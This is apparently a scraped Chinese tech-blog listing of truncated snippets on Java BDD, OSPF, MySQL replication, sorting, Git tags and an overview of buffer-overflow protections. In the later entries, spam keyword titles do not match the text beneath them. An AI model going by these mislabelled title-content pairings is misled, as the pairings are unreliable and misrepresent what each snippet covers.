Cucumber-JVM 是一个支持 Behavior-Driven Development (BDD) 的 Java 框架。在 BDD 中,可以编写可读的描述来表达软件功能的行为,而这些描述也可以作为自动化测试。 Cucumber-JVM 的最小化环境 Cucumber-JVM是BDD的框架, 提供了GWT语法的相…...
OSPF ROUTER-ID-新版(15)
目录 整体拓扑 操作步骤 1.INT 验证Router-ID选举规则 1.1 查看路由器Router-ID 1.2 配置R1地址 1.3 查看R1接口信息 1.4 查看R1Router-ID 1.5 删除接口IP并查看Router-ID 1.6 手工配置Router-ID 2.基本配置 2.1 配置R1的IP 2.2 配置R2的IP 2.3 配置R3的IP 2.4 配…...
阿里开源大模型 Qwen-72B 私有化部署
近期大家都知道阿里推出了自己的开源的大模型千问72B,据说对于中文非常友好,在开源模型里面,可谓是名列前茅。 千问拥有有强大的基础语言模型,已经针对多达 3 万亿个 token 的多语言数据进行了稳定的预训练,覆盖领域、…...
ubuntu下编译obs-studio遇到的问题记录
参考的是这篇文档:Build Instructions For Linux obsproject/obs-studio Wiki GitHub 在安装OBS dependencies时, sudo apt install libavcodec-dev libavdevice-dev libavfilter-dev libavformat-dev libavutil-dev libswresample-dev libswscale-d…...
C++的一些知识
一. 语法 move怎么用 https://blog.csdn.net/zhangmiaoping23/article/details/126051520 这个文章讲的很好,其中有一些疑惑的点 (1) 左值引用不能接右值 class T1{int a; }; int main(){T1 t1 T1();T1 && t1_temp T1(); //T1()是一个临时对象…...
大数据 - 大数据入门第一篇 | 关于大数据你了解多少?
🐶1.1 概述 大数据(BigData):指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合,是需要新处理模式才能具有更强的决策力、洞察发现力和流程优化能力的海量、高增长率和多样化的信息资产。 大数据主要解决、海量数据的采…...
C语言——扫雷
扫雷是一款经典的小游戏,那如何使用C语言实现一个扫雷游戏呢? 一、全部源码 直接把全部源码放在开头,如有需要,直接拿走。 源码分为三个文件: test.cpp/c 主函数的位置 #include "game.h"int main() {…...
计算机网络【DNS】
DNS 基本概述 与 HTTP、FTP 和 SMTP 一样,DNS 协议也是应用层的协议,DNS 使用客户-服务器模式运行在通信的端系统之间,在通信的端系统之间通过下面的端到端运输协议来传送 DNS 报文。但是 DNS 不是一个直接和用户打交道的应用。DNS 是为因特…...
Windows实现MySQL5.7主从复制(详细版)
使用免安装版本(官网下载地址) 在Windows上安装两种MySQL服务并同时开启服务 1.下载配置 打开解压文件所在位置,就新建一个配置文件my.ini。 2.主库安装 主库的my.ini配置文件如下: [mysqld] #设置主库端口,注意须是…...
AI 绘画 | Stable Diffusion 视频生成重绘
前言 本篇文章教会你如何使用Stable Diffusion WEB UI,实现视频的人物,或是动物重绘,可以更换人物或者动物,也可以有真实变为二次元。 视频展示 左边是原视频,右边是重绘视频原视频和Ai视频画面合并 教程 这里需要用到Stable Diffusion WEB UI的扩展插件ebsynth_utility…...
使用easyexcel对导出表格添加合计行
文章目录 一、背景二、实现1、写法一2、写法二 三、遇到的问题四、参考 一、背景 近期开发的一个新功能需要导出和前端展示样式一致的统计表格,而前端使用的elementui的table组件,show-summary属性选择后可以自动计算。后端导出时其他单元格与返回前端展…...
Springcloud Alibaba使用Canal将Mysql数据实时同步到Redis保证缓存的一致性
目录 1. 背景 2. Windows系统安装canal 3.Mysql准备工作 4. 公共依赖包 5. Redis缓存设计 6. mall-canal-service 1. 背景 canal [kənl] ,译意为水道/管道/沟渠,主要用途是基于 MySQL 数据库增量日志解析,提供增量数据订阅和消费。其诞…...
Python入门学习篇(十四)——模块文件操作
1 模块 1.1 理解 包: python中带有__init__.py文件的文件夹 模块: 文件名(不包含.py后缀),如python官方的time.py中time就是模块1.2 示例代码 import datetime# 调用datetime模块中的datetime类的now()方法 t datetime.datetime.now() # 格式化输出日期和时间 strftime(&qu…...
【数据结构】排序之交换排序(冒泡 | 快排)
交换目录 1. 前言2. 交换排序3. 冒泡排序3.1 分析3.2 代码实现 4. 快速排序4.1 hoare版本4.1.1 分析4.1.2 hoare版本代码 4.2 挖坑法4.2.1 分析4.2.2 挖坑法代码实现 4.3 前后指针版本4.3.1 分析4.3.2 前后指针版本代码实现 1. 前言 在之前的博客中介绍了插入排序,…...
网站面试通知表格怎么做/360建站和凡科哪个好
Percona Server 刚在 2013 DeveloperWeek Best of Tech award 中赢得最具创新的 SQL 技术奖。 我们很骄傲的接受了这个奖项,该奖项的评选是由独立的评审小组选出,非常感谢你们对 Percona Server 的投票。 Percona 为 MySQL 数据库服务器进行了改进&#…...
plc编程培训机构/搜索引擎优化培训
PS: 1.form2是主窗体,form1是子窗体,我当时安装的是XE8,新建第一个窗体就是叫form2。 2.事件处理用到了控件(ApplicationEvents1)。 3.源代码下载地址:“https://download.csdn.net/download/zhujianqiangq…...
wordpress 每日一文/品牌推广策略与方式
阿里西西 标准之路转载于:https://www.cnblogs.com/Peter-Youny/archive/2012/08/10/2632035.html...
竞价网站同时做优化可以吗/宁波seo网络推广咨询价格
一、使用背景. 1.1 当完成一个版本,需要,需要给这个版本打一个标签.见证某款软件的某一历史时刻. 二、Git tag的使用. 2.1 git tag(查看当前所有分支). git tag(当前没有版本信息). 2.2 git tag -a [tagname] (为最新一次提交打版本) 此时只是提交到了本地仓库,还没有推…...
微信小程序开发技术介绍/seo网站排名优化案例
目录缓冲区溢出的保护机制缓冲区溢出原理CANNARY(栈保护)FORTIFYNX(DEP)PIE(ASLR)RELRO检测工具checksec缓冲区溢出的保护机制 缓冲区溢出原理 缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢…...
快速建站属于saas吗/app推广拉新平台
概述 线段树就是用一棵二叉树维护某一区间内的某一值(最值,和,乘积......),主要有区间查询和区间修改两种操作,区间修改又有自上而下修改和自下而上修改两种,本人更习惯于自上而下修改。 下面是百度百科对线…...